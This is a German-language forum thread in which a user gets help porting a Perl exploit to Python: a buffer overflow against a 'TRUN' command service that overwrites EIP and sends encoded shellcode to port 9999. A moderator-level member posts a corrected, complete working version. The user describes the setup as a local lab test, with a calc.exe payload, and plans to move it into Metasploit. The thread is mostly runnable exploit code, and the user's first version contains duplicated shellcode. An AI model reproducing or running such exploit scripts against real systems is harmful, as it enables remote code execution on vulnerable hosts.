Perl nach Python portieren problem (send data script)

Sockets, TCP/IP, (XML-)RPC und ähnliche Themen gehören in dieses Forum
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

@Jens

Danke für deine Antwort :)

Ich hoffe ich hab Dich richtig verstanden.Ich hab das script jetzt mal so wie du sagtes geändert (zumindest hoffe ich das)

Code: Alles auswählen

#!/usr/bin/python 

import socket
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(address)

sock.send(data)
sock.close()

def main():
        header = 'TRUN /.:/'
        junk = '\x41'*2003
        eip = struct.pack('<I', 0x625011af)
        nop = '\x90'*20
        shellcode = ('\x89\xe1\xda\xc4\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43'
                     '\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58'
                     '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
                     '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
                     '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
                     '\x4d\x59\x43\x30\x45\x50\x43\x30\x43\x50\x4c\x49\x4b\x55'
                     '\x56\x51\x58\x52\x52\x44\x4c\x4b\x51\x42\x56\x50\x4c\x4b'
                     '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x54\x54\x4c\x4b\x52\x52'
                     '\x51\x38\x54\x4f\x4f\x47\x51\x5a\x47\x56\x50\x31\x4b\x4f'
                     '\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32'
                     '\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f\x37'
                     '\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x56\x32\x54\x50'
                     '\x4c\x4b\x50\x42\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30'
                     '\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x45\x51\x58\x50'
                     '\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x56\x38\x51\x30'
                     '\x43\x31\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47\x44'
                     '\x4c\x4b\x43\x31\x49\x46\x56\x51\x4b\x4f\x50\x31\x49\x50'
                     '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x43\x31\x58\x47\x50\x38'
                     '\x4d\x30\x52\x55\x4b\x44\x54\x43\x43\x4d\x5a\x58\x47\x4b'
                     '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x54\x54\x4c\x4b\x52\x52'
                     '\x51\x38\x54\x4f\x4f\x47\x51\x5a\x47\x56\x50\x31\x4b\x4f'
                     '\x50\x31\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32'
                     '\x56\x4c\x51\x30\x4f\x31\x58\x4f\x54\x4d\x43\x31\x4f\x37'
                     '\x4d\x32\x5a\x50\x56\x32\x51\x47\x4c\x4b\x56\x32\x54\x50'
                     '\x4c\x4b\x50\x42\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30'
                     '\x54\x38\x4c\x45\x49\x50\x43\x44\x51\x5a\x45\x51\x58\x50'
                     '\x56\x30\x4c\x4b\x50\x48\x52\x38\x4c\x4b\x56\x38\x51\x30'
                     '\x43\x31\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x47\x44'
                     '\x4c\x4b\x43\x31\x49\x46\x56\x51\x4b\x4f\x50\x31\x49\x50'
                     '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x43\x31\x58\x47\x50\x38'
                     '\x4d\x30\x52\x55\x4b\x44\x54\x43\x43\x4d\x5a\x58\x47\x4b'
                     '\x43\x4d\x56\x44\x52\x55\x4d\x32\x56\x38\x4c\x4b\x50\x58'
                     '\x51\x34\x45\x51\x49\x43\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
                     '\x4c\x4b\x51\x48\x45\x4c\x43\x31\x4e\x33\x4c\x4b\x45\x54'
                     '\x4c\x4b\x43\x31\x58\x50\x4b\x39\x50\x44\x47\x54\x51\x34'
                     '\x51\x4b\x51\x4b\x43\x51\x56\x39\x50\x5a\x56\x31\x4b\x4f'
                     '\x4d\x30\x56\x38\x51\x4f\x51\x4a\x4c\x4b\x54\x52\x5a\x4b'
                     '\x4c\x46\x51\x4d\x43\x5a\x43\x31\x4c\x4d\x4b\x35\x4e\x59'
                     '\x43\x30\x43\x30\x43\x30\x50\x50\x43\x58\x56\x51\x4c\x4b'
                     '\x52\x4f\x4d\x57\x4b\x4f\x49\x45\x4f\x4b\x4b\x4e\x54\x4e'
                     '\x56\x52\x5a\x4a\x52\x48\x4f\x56\x4d\x45\x4f\x4d\x4d\x4d'
                     '\x4b\x4f\x49\x45\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
                     '\x4b\x4b\x4b\x50\x43\x45\x45\x55\x4f\x4b\x47\x37\x52\x33'
                     '\x54\x32\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
                     '\x45\x33\x45\x31\x52\x4c\x45\x33\x43\x30\x41\x41'

        address = ('192.168.2.105', 9999)
        data = ''.join([header, junk, eip, nop, shellcode])
        send(address, data)

if __name__ == '__main__':

        main()

Aber ich glaube ich habe schon wieder was falsch gemacht :oops:

Fehlercode:

Code: Alles auswählen

root@bt:~# python exploit.jens.py
  File "exploit.jens.py", line 51
    address = ('192.168.2.105', 9999)
          ^
SyntaxError: invalid syntax
Kannst du mir noch einen Tip geben? Ich glaube das sock.send(data) und das sock.close() muss am Ende des scripts stehen? :K
Benutzeravatar
Hyperion
Moderator
Beiträge: 7478
Registriert: Freitag 4. August 2006, 14:56
Wohnort: Hamburg
Kontaktdaten:

Das mit der `main`-Funktion wurde ja schon zig mal gezeigt und erwähnt ;-)

Du hast die runde Klammer zu am Ende des Shellcode-Tupels vergessen!

Wir haben übrigens einen speziellen Python-Code-Tag hier - den solltest Du ruhig mal nutzen.
encoding_kapiert = all(verstehen(lesen(info)) for info in (Leonidas Folien, Blog, Folien & Text inkl. Python3, utf-8 everywhere))
assert encoding_kapiert
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Hyperion hat geschrieben:Das mit der `main`-Funktion wurde ja schon zig mal gezeigt und erwähnt ;-)

Du hast die runde Klammer zu am Ende des Shellcode-Tupels vergessen!

Wir haben übrigens einen speziellen Python-Code-Tag hier - den solltest Du ruhig mal nutzen.
Danke Hyperion.Aber es funktioniert immer noch nicht.

Ich werde erstmal in den Büchern weiterlesen bevor ich nochmal was poste uns dann auch den code tag benutzen :oops:

Das script läuft ja ohne die main function, dann werde ich es erstmal so nutzen und lesen, lesen und nochmal lesen :wink:

Danke Euch allen für Eure Hilfe und habt einen schönen Tag.

Gruß
patzen
Benutzeravatar
jens
Python-Forum Veteran
Beiträge: 8502
Registriert: Dienstag 10. August 2004, 09:40
Wohnort: duisburg
Kontaktdaten:

patzen hat geschrieben:Aber ich glaube ich habe schon wieder was falsch gemacht :oops:
Jo, warum hast du def send(address, data): ganz raus geschmissen?

Code: Alles auswählen

#!/usr/bin/python

import socket
import struct


def send(address, data):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(address)
    sock.send(data)
    sock.close()


def main():
    header = 'TRUN /.:/'
    junk = '\x41'*2003
    eip = struct.pack('<I', 0x625011af)
    nop = '\x90'*20
    shellcode = ('\x89\xe0\xdd\xc7\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43'
                 '\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58'
                 '\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42'
                 '\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30'
                 '\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58'
                 '\x4d\x59\x45\x50\x45\x50\x43\x30\x43\x50\x4d\x59\x4d\x35'
                 '\x50\x31\x49\x42\x52\x44\x4c\x4b\x50\x52\x50\x30\x4c\x4b'
                 '\x51\x42\x54\x4c\x4c\x4b\x51\x42\x52\x34\x4c\x4b\x52\x52'
                 '\x51\x38\x54\x4f\x4f\x47\x50\x4a\x51\x36\x50\x31\x4b\x4f'
                 '\x56\x51\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x45\x52'
                 '\x56\x4c\x47\x50\x49\x51\x58\x4f\x54\x4d\x45\x51\x4f\x37'
                 '\x4b\x52\x4c\x30\x50\x52\x51\x47\x4c\x4b\x56\x32\x54\x50'
                 '\x4c\x4b\x51\x52\x47\x4c\x43\x31\x4e\x30\x4c\x4b\x51\x50'
                 '\x54\x38\x4c\x45\x49\x50\x52\x54\x51\x5a\x43\x31\x4e\x30'
                 '\x56\x30\x4c\x4b\x50\x48\x45\x48\x4c\x4b\x50\x58\x47\x50'
                 '\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x47\x44'
                 '\x4c\x4b\x45\x51\x58\x56\x50\x31\x4b\x4f\x56\x51\x49\x50'
                 '\x4e\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48'
                 '\x4b\x50\x43\x45\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b'
                 '\x43\x4d\x51\x34\x52\x55\x5a\x42\x50\x58\x4c\x4b\x50\x58'
                 '\x56\x44\x45\x51\x4e\x33\x45\x36\x4c\x4b\x54\x4c\x50\x4b'
                 '\x4c\x4b\x50\x58\x45\x4c\x45\x51\x49\x43\x4c\x4b\x43\x34'
                 '\x4c\x4b\x43\x31\x58\x50\x4d\x59\x51\x54\x51\x34\x47\x54'
                 '\x51\x4b\x51\x4b\x43\x51\x56\x39\x51\x4a\x56\x31\x4b\x4f'
                 '\x4b\x50\x51\x48\x51\x4f\x50\x5a\x4c\x4b\x52\x32\x5a\x4b'
                 '\x4d\x56\x51\x4d\x43\x5a\x45\x51\x4c\x4d\x4c\x45\x4f\x49'
                 '\x43\x30\x43\x30\x43\x30\x56\x30\x43\x58\x50\x31\x4c\x4b'
                 '\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b\x4e\x54\x4e'
                 '\x50\x32\x5a\x4a\x43\x58\x4f\x56\x4c\x55\x4f\x4d\x4d\x4d'
                 '\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4d\x50'
                 '\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b\x50\x47\x45\x43'
                 '\x43\x42\x52\x4f\x52\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35'
                 '\x52\x43\x45\x31\x52\x4c\x43\x53\x43\x30\x41\x41')

    address = ('192.168.2.105', 9999)
    data = ''.join([header, junk, eip, nop, shellcode])
    send(address, data)

if __name__ == '__main__':
    main()

btw. vielleicht macht es auch mehr Sinn, die Adresse an main() zu übergeben... und vielleicht wäre es besser main() umzubenennen. Was macht der shellcode eigentlich?

GitHub | Open HUB | Xing | Linked in
Bitcoins to: 1JEgSQepxGjdprNedC9tXQWLpS424AL8cd
Dav1d
User
Beiträge: 1437
Registriert: Donnerstag 30. Juli 2009, 12:03
Kontaktdaten:

Das script läuft ja ohne die main function, dann werde ich es erstmal so nutzen und lesen, lesen und nochmal lesen
Das ist imho leider der falsche Ansatz, der Weg mit der Main-Funktion ist dir von uns empfohlen worden (der Grund warum man diese haben sollte wurde schon ein paar mal im Forum angesprochen), dann solltest du dich auch damit auseinandersetzen ;), da dies dazu eigentlich keine große Sache ist (eine Funktion ist eins der elementarsten Dinge in der Programmierung), desweiteren können wir dir nicht helfen, wenn du uns keine genaue Beschreibung gibst (z.B. traceback, wie in den Postings zuvor).
the more they change the more they stay the same
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

@ jens

Jetzt funktionierts! Danke. :)

Oh man wie peinlich das ich def send. völlig vergessen habe :oops:
Der shellcode führt die Windows calc.exe aus nachdem der Server gecrashed ist.

Als nächstes muss ich den code nach Ruby portieren und ihn ins Metasploit framework einfügen.So kann ich dann verschiedene Shellcodes testen.Natürlich alles nur im lokalen Netzwerk und zu Testzwecken.
Dav1d hat geschrieben:
Das script läuft ja ohne die main function, dann werde ich es erstmal so nutzen und lesen, lesen und nochmal lesen
Das ist imho leider der falsche Ansatz, der Weg mit der Main-Funktion ist dir von uns empfohlen worden (der Grund warum man diese haben sollte wurde schon ein paar mal im Forum angesprochen), dann solltest du dich auch damit auseinandersetzen ;), da dies dazu eigentlich keine große Sache ist (eine Funktion ist eins der elementarsten Dinge in der Programmierung), desweiteren können wir dir nicht helfen, wenn du uns keine genaue Beschreibung gibst (z.B. traceback, wie in den Postings zuvor).
Ja, ich werde die main function jetzt auch immer verwenden.Mir wurde es nur langsam unangenehm Euch mit meinen Problemen voll zu spammen.Ihr habt ja schließlich auch noch was anderes zu tun :K
Aber ich habe viel gelernt danke Euch.
Danke nochmal an alle und vielleicht kann ich später auch Anfängern ein paar Tips geben :)

Euch allen einen schönen Tag

Liebe Grüße
patzen
Dav1d
User
Beiträge: 1437
Registriert: Donnerstag 30. Juli 2009, 12:03
Kontaktdaten:

Kein Problem, ich denke wir alle helfen dir gerne (so blöd die Fragen auch für dich scheinen mögen), solange du bereit bist zu lernen :).

Edit:// Ich habe auch mit solchen Fragen begonnen ;)
the more they change the more they stay the same
Benutzeravatar
patzen
User
Beiträge: 14
Registriert: Dienstag 20. September 2011, 18:37

Dav1d hat geschrieben:Kein Problem, ich denke wir alle helfen dir gerne (so blöd die Fragen auch für dich scheinen mögen), solange du bereit bist zu lernen :).

Edit:// Ich habe auch mit solchen Fragen begonnen ;)
Danke :)
Antworten